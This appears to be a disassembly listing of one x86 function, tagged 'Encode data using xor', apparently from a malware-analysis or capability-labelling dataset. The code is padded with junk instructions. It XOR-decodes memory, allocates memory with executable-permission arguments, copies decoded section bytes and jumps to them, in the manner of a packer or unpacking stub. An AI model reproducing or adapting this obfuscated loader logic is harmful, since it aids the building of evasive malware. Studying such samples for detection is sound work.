Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x493b73a2
mov eax, edx
sub eax, edx
popal
add edx, edx
mov eax, edx
mov edx, 0
mov ebx, edi
and eax, eax
and esi, esi
mov ecx, ebx
not esi
mov esi, eax
sub esi, 0x745a30cc
mov edi, ecx
or eax, eax
mov eax, 0xd035fc0e
dec esi
inc edx
or esi, eax
mov esi, eax
cmp edx, 0x100f168
jne 0xa789c0
mov esi, 0xa74aea70
not esi
add eax, 0xecaae944
add eax, 0xb2efe54f
mov edi, 0xa78796
sub edx, esi
dec ecx
mov eax, 0xa7898a
mov ecx, 0x6a39468
mov esi, 0x7849eac8
mov ebx, dword [edi]
not ecx
sub esi, 0x32696c54
or edx, ecx
and ebx, 0xff
mov edx, ecx
add esi, 0x6064e32c
mov ecx, 0xd1c25450
xor dword [eax], ebx
add edx, 0x9420c4ea
dec ecx
inc eax
mov esi, edx
mov esi, 0xd7e74a37
inc edi
inc ecx
sub edx, ecx
cmp eax, entry0
jl 0xa78a17
mov edx, 0xbb2e7713
inc esi
inc ecx
sub esi, 0x10b7692a
mov ecx, esi
add ecx, 0x501ed060
add edi, 1
sub edx, ebx
not ecx
mov esi, 0xa7898e
sub edx, edi
add edi, ecx
mov ebx, ecx
mov esi, dword [esi]
add edi, ecx
add edi, edx
sub edx, 1
mov esi, dword [esi]
mov ecx, 0x101fafe8
add edx, ebx
push esi
mov edx, edi
mov ecx, 0x1f595b33
inc edi
mov esi, 0xa7898a
dec edi
or edi, ebx
sub edx, ecx
mov esi, dword [esi]
inc ebx
and edx, ecx
sub ebx, edi
mov esi, dword [esi]
add edx, 0xc2b9dbbc
not edi
add ebx, ecx
push 0xa78992
not ebx
not ebx
call esi
or ecx, ecx
or ecx, ebx
mov esi, dword [esp]
add esp, 4
sub edx, 0xdaf6c0bf
sub edx, ebx
mov ecx, edi
sub esp, 4
mov dword [esp], 0xa7899f
add ecx, 0x3f656dd9
add ecx, ebx
dec edx
push eax
add edi, 0x1084e874
inc edi
call esi
mov edx, 0x49b1c3c4
mov ebx, edx
or edx, edx
push 0x40
and ecx, ebx
add edx, 0x2a3c484e
push 0x3000
sub edx, 0x3de1a5b0
inc edi
sub ecx, 0xa319e335
push 0x20000350
sub edx, 0xcb1ad6ea
inc ebx
push 0
sub ecx, 0x39d80ad5
and ebx, ecx
and edx, edi
call eax
inc ecx
dec edx
sub ecx, 0x25290131
add eax, 0x2000028f
and ebx, ecx
not ecx
add edi, 0x70fba910
mov esi, 0x357459bf
sub ebx, ecx
sub edx, edi
mov dword [eax], esi
add edx, 0xcca85042
mov edi, 0xc5c664d6
mov esi, dword [eax]
add edx, edi
dec ecx
or ebx, edi
cmp esi, 0x357459bf
je 0xa78b81
mov eax, 0
mov edx, dword [eax]
mov ebx, edx
mov ebx, edx
add ebx, ecx
add ecx, ebx
dec ecx
dec edi
add eax, 0xc8336988
or eax, eax
mov edi, section..reltc
or edx, eax
sub eax, 0x12f71182
and eax, eax
mov ebx, 0xa78795
mov edx, eax
dec eax
mov esi, 0
add eax, 1
or edx, edx
mov ecx, 0xa78796
add eax, edx
sub edx, eax
lea ecx, [ecx + esi]
mov edx, 0xc821c880
or eax, eax
mov ecx, dword [ecx]
and edx, edx
and eax, eax
add edx, edx
and ecx, 0xff
mov eax, edx
add eax, 1
dec eax
inc esi
and edx, edx
not edx
cmp esi, 0x1f4
jne 0xa78bf3
mov esi, 0
dec edx
dec edx
add eax, 0x31b85a4
mov eax, 0x8bf377da
or edx, edx
or edx, edx
xor dword [edi], ecx
add edx, 1
not edx
and edx, edx
add edi, 2
add eax, 1
add eax, 0xdc8a6c28
not edx
cmp edi, ebx
jl 0xa78bb7
sub edx, 1
mov edx, eax
or eax, edx
sub eax, edx
add edx, edx
mov edi, section..reltc
not esi
or ebx, esi
mov edx, section..reltc
dec ebx
sub ebx, 0x3bcac846
mov eax, 0xa78795
add esi, 0xdea3ec6a
sub ebx, esi
and esi, ebx
mov ecx, 0
add esi, 0x141a4c05
mov esi, ebx
sub esi, 0xcf63da5f
mov cl, byte [edx]
dec esi
sub esi, ebx
sub esi, 0xdaf18cc3
mov byte [edi], cl
sub ebx, 0x98dd26b3
dec ebx
add edi, 1
not esi
inc esi
add edx, 2
add ebx, ebx
sub ebx, esi
cmp edx, eax
jle 0xa78c71
not ebx
or esi, ebx
sub edx, eax
add eax, 0x3ab71567
sub esp, 4
mov dword [esp], 0x8dc6a0
sub edx, 1
or edx, eax
or edx, edx
ret